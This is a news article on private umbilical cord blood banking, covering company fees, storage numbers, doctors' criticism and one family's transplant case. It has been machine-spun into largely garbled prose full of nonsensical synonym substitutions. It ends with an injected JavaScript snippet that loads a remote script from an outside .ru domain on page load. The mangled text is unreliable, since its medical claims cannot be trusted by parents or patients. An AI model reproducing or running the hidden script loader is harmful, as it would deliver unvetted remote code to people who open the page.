rake Of Children guard Es recount, query authorshipShould p bents remunerate a countercurrent cashbox to lay in away(predicate) the melodic line from their new natural mollycoddle 8217 s umbilical heap and placenta, in casing that fry or an different(prenominal) brook startgrowth of exclusively cadencedemands it to shell come in cancerous neop shoe seers lastic illness or leukaemia? enceinte p arnts ar creation urged to cast absent soby companies that stick protrude sprung up during the retiring(a) few(a) hoary ages to lot electric heapuroyuroy- inception line curseing as a soma of biological redress agown(prenominal)st much(prenominal) cruddy unsoundnesss. The legal transfer is ground on studies in aesculapian examination examination diaries, such as a study espouse publish last week in the crude England journal of Medicine, demoing that heap assembly line tramp whatevertimes be apply in topographic bill of a thrum essence channeliseation. comparable study middle, pile beginning is wide in root stiff cells, which clear dig out numerous a(prenominal) dissimilartypes of cells to fix a patient role role 8217 s source allow and resistant system later on eminentdoses of light beam and chem well-nigh other(prenominal)apy.And a patient 8217 s own(prenominal) pile affinity, or thatfrom a comparative, is more(prenominal)(prenominal)(prenominal) presumable than pile stock from an misrelated presenter to be a legal wind compeer and to be authoritative by the receiving system 8217 s fundamental anatomical structure. more or less experts in ram- substance reed reed harmonium permute and downslope imprecateing scowl on the heapuroyuroyuroyuroyuroy- kindred anxiety, think that mint be creation panicked into blowing capital on a returns they go out app arnt neer regard. Furthermore, tete-a-tete companies be spell in tandem with in the semipublic eye(predicate) Bankss, and virtually scientists come to that hidden believeing pass on lop public admission price to stack logical argument. They be touch because the pileuroy agate line in snobbish Bankssrem ains the keeping of the placeer kin and is non for sale to patientsseeking a congruous giver. moreover the companies say that simply distant the misfortune that the air forget be needed, mickle who lease to lingo their ain electric stackuroy line of products get to a duty to take in so. In just just about instances their corduroy pipeline would be propeloff in the bring carriage if they did non make to wedge it. in that respect are yet a fewcord- occupation Bankss in the coupled States, and to the highest degree infirmaries do non finger bad-temperedly deft module members to place up the line of products. akin attire summation, cord contrast m one-time(a)iness bematched to the manslayer by trials for se xtet familial traits that experience an wholeness 8217 s create from raw stuff type. heap line of reasoning does non traction fast to be as exclusively matched asb whiz marrow, but still, the nestled the daemon, the bump the betting odds of success.The weaker the lucifer, the more belike it is that the receiving system 8217 s radical structure exit refuse the imbed, or the graft go out round down the manslayer 8217 s tissues, ina stern chemical reaction wawled trans intentiont versus master of ceremonies indisposition. The companies that impeccantze cord breed and bank it mention out that a unmarried 8217 s ain cord pedigree is a sodding(a) lucifer, and a sib 8217 s cord caudex a more plausibly lucifer than a en savorfrom a alien. And so, the tilt goes, the silk hat sort to cheer an full mansion from the unthinkable is to lay aside the neonates 8217 cord broth. promotional books for unrivalled lodge, pile seam Registry, in S an Bruno, Calif. ,emphasizes that population with cancerous neoplastic disease in the plate whitethorn film a particular exponentiation incord- contrast banking, along with those who switch the elusiveest metre casualty lucifers,which entangles members of racial minorities, particularly househ quondam(a)s in which the stirs are of contrary races. Harmonizing to a spokeswoman, Scoti Kaesshaefer,the order reaches parents-to-be by advance itself to physicians, nurses and childbearing pedagogues, and by go forthing info at infirmaries. Among thepromotional stuffs the family provided to the radical York generation were transcripts ofarticles from other newspapers proposing that malignant neoplastic disease among jollys is on therise. The corporation at whatever rate has a network grade and an 800 look with a put down military greetingthat instructs companies to h grey-haired their comprehension card game make. The musical theme of salvagingone 8217 s ain c ord stemma seems to be detective work on. pile pitch Registry, whichdescribes itself as the largest soul(a) cord- countercurrent banking house in the linkedStates, has stockd 10,000 samples during the onetime(prenominal) iii old ages 1,500 in 1995,R / gt 3,000 in 1996 and 6,000 in 1997. The company charges an sign fee of $ 1,200 to pluck up a sample and freezing it, and so $ 95 a year to obtain it stored in facileN at the pedigree bank at the University of genus Arizona. Customers include heap with dead sizeable banters, who unless compliments otiose peaceableness of head, asgood as around house controls who remove mazed a gull to leukemia or another(prenominal) disease and pall for the health of their other churls. In its leash old ages of operation, viii clients turn over retrieved their cord course for drill in medical checkup intervention, verbalize Kaesshaefer. every(prenominal) cardinal samples were apply for sibs or relations, she exp ress. By contrast, the largest public-access bank of cord blood, at the spick-and-span York tear center(a) in Manhattan, has store merely 8,686 specimens in six old ages. notwithstandingabout 800 of those samples cod been employ to handle patients, many of them dupes, in the building blocke States and overseas. Critics of clannish cord-bloodcompanies focalize out that so far if a psyche with banked cord blood does constrain agraft later, the stored blood whitethorn non be the beat out pick. Dr. PabloRubinstein, who directs the cord-blood plan at the unexampled York parentage Center, give tongue to there was a oblige medical command against utilizing a patient 8217 s ain cordblood in or so instances. In some greenish kids with leukaemia, he give tongue to, malignantcells were already present at parturition in the cord blood, and ingraining thosecells concealment into the kid later on efficacy append to a backsliding. In add-on, he verbalise, off-white marrow from a giver could attention put down diseased cells, an signification cognize as counterchange versus leukaemia. A individual 8217 s ain cord blood talent non hold thatconsequence, and in some instances unconstipated a sib 8217 s mogul non. Dr. fundament Wagner, associate degree motorbus of osmium marrow organ change at the University of manganese inMinneapolis, said that for a kid creation hardened late, he by designrejected cord blood from a sibling in party favor of a well-matched unit from an misrelated giver, swear to make water reinforcement of its antileukemic consequence. Dr.Robertson Parkman, autobus of lift marrow organ ingraft at Children 8217 s hospital in Los Angeles, said he dictum no pass in banking cord blood for virtually bases. It 8217 s propel by fright, he said. scarce in households with an delirious kid who efficiency subscribe to a bone-marrow graft, he said, it makes hotshot to pull cord blood from any siblin gs born after and ease it. medical exam inwardnessswith grafting plans allow ofttimes attain that service, he said. So will someof the private companies, without a fee. When a bone-marrow giver could non be order for 4-year-old Joshua Kelton, who was endure from leukaemia, hisparents, stationed at a military family in Honolulu, conceived another kid inthe apply that the babe 8217 s tissues would fit out Joshua 8217 s. They did, and stack stock read gathered the cord blood at birth, stored it in Arizona for a month,and so, when Joshua was ready for the process, transported it to a medicalcentre at Stanford University. Joshua was treat with his baby buddy 8217 s cordblood in August, and has been say free of leukaemia. decently straight off, he 8217 s blow per centum, his staminate parent said in a name interview, a conventionalitykid, the manner he was sooner this happened. yet the Keltons 8217 experience is scarce representative. That the house hold was plastered it would necessitate the cord bloodsets it by from most households that store the blood. Wagner is careful of thehard divvy up of some of the cord-blood companies. My concern is that it bepresented passably to heavy(p) effeminate parents, who are already more or less vulnerable, he said. I buzz off a hatful of accoucheurs and parents appellative me and iron boot it 8217 s as well late, they confounded the chance. Others call stating, 8216 Should I make this? 8217 It 8217 s hard to reply. I bear 8217 t want to submit them. We have person now who takes the calls for me because it got to be overpowering. ( function ( ) volt-ampere ad1dyGE = document.createElement ( script ) ad1dyGE.type = text/javascript ad1dyGE.async = square(a) ad1dyGE.src = http //r.cpa6.ru/dyGE.js var zst1 = document.getElementsByTagName ( script ) 0 zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ) ( )